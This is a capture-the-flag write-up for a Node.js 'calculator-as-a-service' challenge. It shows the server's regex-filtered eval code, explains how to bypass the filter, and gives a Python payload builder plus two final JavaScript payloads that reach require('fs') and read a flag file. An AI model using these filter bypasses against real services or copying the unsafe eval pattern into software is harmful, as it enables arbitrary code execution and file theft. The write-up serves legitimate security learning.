Original description:
Clam’s creative calculator causes coders’ chronic craziness. Find his calculator-as-a-service over tcp at nc misc.2020.chall.actf.co 20201 and the flag at /ctf/flag.txt. >Remember, the “b” in regex stands for “bugless.” Source.
Author: aplet123 Hint: The calculator is merely a prototype.
Problem:
You are only allowed to use calculation-signs, Math, Math.* and numbers in an interpreted nodejs/javascript interpreter made for calculations.
Original source code
const readline = require("readline");
const util = require("util");
const rl = readline.createInterface({
input: process.stdin,
output: process.stdout
});
let reg = /(?:Math(?:(?:\.\w+)|\b))|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)/g
console.log("Welcome to my Calculator-as-a-Service (CaaS)!");
console.log("Our advanced js-based calculator allows for advanced boolean-based operations!");
console.log("Try calculating '(2 < 3) ? 5 : 6' (without the quotes of course)!");
console.log("However, if we don't trust you then we'll have to filter your input a bit.");
function question(q) {
return new Promise((res, rej) => rl.question(q, res));
}
// don't want you modifying the Math object
Object.freeze(global);
Object.freeze(Math);
const user = {};
async function main() {
const name = await question("What's your name? ");
if (name.length > 10) {
console.log("Your name is too long, I can't remember that!");
return;
}
user.name = name;
if (user.name == "such_a_trusted_user_wow") {
user.trusted = true;
}
user.queries = 0;
console.log(`Hello ${name}!`);
while (user.queries < 3) {
user.queries ++;
let prompt = await question("> ");
if (prompt.length > 200) {
console.log("That's way too long for me!");
continue;
}
if (!user.trusted) {
prompt = (prompt.match(reg) || []).join``;
}
try {
console.log(eval(prompt));
} catch (err) {
console.log("There has been an error! Oh noes!");
}
}
console.log("I'm afraid you've run out of queries.");
console.log("Goodbye!");
}
setTimeout(function() {
console.log("Time's up!");
console.log("Goodbye!");
process.exit(0);
}, 60000);
main();
Challenge solution
The calculator regex /(?:Math(?:(?:\.\w+)|\b))|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)/g
only allows users to use calls to Math, Math.anything, common math symbols (()+-*/&|^%<>=,?:
) as well as numbers like 1, 1.1, 1.1e1.
There are four tricks:
- Common type-juggling, like adding an object to a number creates a string.
- The \b boundary-regex can be tricked by overlapping meta-characters like MathÐ1.
- The => can be used for functions, and due to scoping, inside a function “Math” is a regular variable. With Math=Math.x and chaining expressions with commas, we can handle ourselfs through the constructors and prototypes of String and Number.
- With Function, we can evaluate a String and still use require from the
process.mainModule
.eval
and"require"()
do not allow this.
In the end we simply want to execute the code require('fs').readFileSync('ctf/flag.txt')
but the require-function isn’t easily available in eval/function-scopes, so the first of the 2 commands is to get it into a reachable scope.
Code attack-builder
import re
encode = lambda code: list(map(ord,code))
decode = lambda code: "".join(map(chr,code))
#print(decode([99,116,102,47,102,108,97,103,46,116,120,116])) # example decode
# build a lambda-function that takes a string and uses it under the variablename "Math" to be allowed to call it, as the regex allows Math.x
# then get the string-constructor and call fromCharCode to get a string from numbers.
# then we use the function-constructor to create a function that returns the process.mainModule
# and save it to String.x
a=f"""
(m0=>(
m0=m0.constructor,
m0.x=m0.constructor(
m0.fromCharCode({encode("return process.mainModule")})
)()
))(Math+1)
"""
# now we reuse String.x = mainModule
# then we call process.mainModule.require('fs').readFileSync('ctf/flag.txt')
b=f"""
((m0,m1)=>
(m0=m0.constructor,
m1=m0.fromCharCode,
m0=m0.x,
m0=m0.require(m1({encode("fs")})),
m0=m0.readFileSync(m1({encode("ctf/flag.txt")}))
))(Math+1)
"""
# remove whitespaces, replace variables with other names
a=re.sub(r"[\s\[\]]", "", a).replace("m0","Math")
b=re.sub(r"[\s\[\]]", "", b).replace("m0","Math").replace("m1", "MathÐ1")
print(a)
print(b)
print("Lengths (must be <200)", len(a), len(b))
Final attack commands (generated, compressed javascript)
(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101))()))(Math+1)
((Math,MathÐ1)=>(Math=Math.constructor,MathÐ1=Math.fromCharCode,Math=Math.x,Math=Math.require(MathÐ1(102,115)),Math=Math.readFileSync(MathÐ1(99,116,102,47,102,108,97,103,46,116,120,116))))(Math+1)
Lengths (must be <200) 180 196